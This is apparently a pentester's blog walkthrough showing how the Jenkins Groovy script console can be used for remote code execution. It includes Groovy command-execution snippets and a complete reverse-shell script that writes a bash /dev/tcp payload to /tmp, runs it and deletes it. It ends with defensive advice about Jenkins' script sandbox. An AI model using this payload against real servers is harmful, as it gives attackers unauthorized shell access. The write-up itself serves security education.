Vulnerable By Design - Cloudbees Jenkins
On a recent engagement, my team and I were checking out a Cloudbees Jenkins application for our contract customer and we came across the /script page. This page allows users to be able to run Groovy script and access resources on the operating system that the server is running on. Of course, this is just (JUST!) a Remote Code Execution (RCE) when used for the wrong purposes.
A Groooooovy Groovy Primer
So here we are with a script console at a version of Jenkins that I downloaded onto my own machine. Let's boogie.
Let's go through a couple different Groovy commands that might be useful.
Running System Commands
Groovy is basically Java, but more "far-out". So a command like execute() is going to be the way we run system commands for the RCE. Let's give it a try:
Bummer man....looks like the Java runtime is just giving us the process object that it creates. But it would be dy-no-mite! to get the results.
Writing to the Page
In the text on the script page, the site instructs you to use 'println()' in order to read on the page rather than 'System.out'. Unfortunately, 'println()' is still just going to give the process object again.
But here's the skinny: Groovy UNIXprocess objects have a method called 'getText()' that gives the output of the command.
Dyno-mite!! So in order to run commands, we put in the string we want to 'execute()' and then write it to the screen with 'getText()'.
So we can read anything, but let's try to get a shell now. This next part will assume that Jenkins is running on a Linux server, but it can be adapted to fit the needs of any environment.
In order to write to a file in Groovy, you can use pretty easy file I/O commands. Here is an example of code that writes "Groovy is Radical, Man!" to a file.
def file1 = new File('groovy.txt') file1 << "Groovy is Radical, Man!"
Ah that's bogus dude. Looks like the man is keeping us from writing to the server root. /tmp is pretty chill though.
Execute a Shell
So using all this together, we can put together a pretty slammin' reverse shell script.
def shell = new File('/tmp/shell.sh') shell << "bash -i >& /dev/tcp/127.0.0.1/4567 0>&1" "/bin/bash /tmp/shell.sh".execute() sleep(1000) shell.delete()
So you can see we have a file object that we write the bash reverse shell to, We run it using bash. Then we give everything a second to chill out before we clean it all up. Let's get jiggy with it.
Another RCE in the bag. But how do people defend against this? Well, the folks at Jenkins have thought about it and do provide a script "sandbox" for admins to be able to manage what can run automatically, and what they need to approve before it can run. You can check that out here: Sandbox Documentation
Make sure if you are going to use Jenkins, your admins are keeping a close eye on what scripts are running.
A lot of software out there is amazing and provides a lot of flexibility to the users. This is a GOOD thing! Just remember that every convenience has a cost associated with it, and if that cost is in the security realm, you need to manage the risk accordingly. If you trust your users or use it on your home network with a 45 firewalls between you and the public internet, Jenkins with Groovy scripts are...well...groovy. But if you don't need the functionality or don't have a lot of trust in your user base, don't use Jenkins scripts. Like...just don't man..can ya dig it?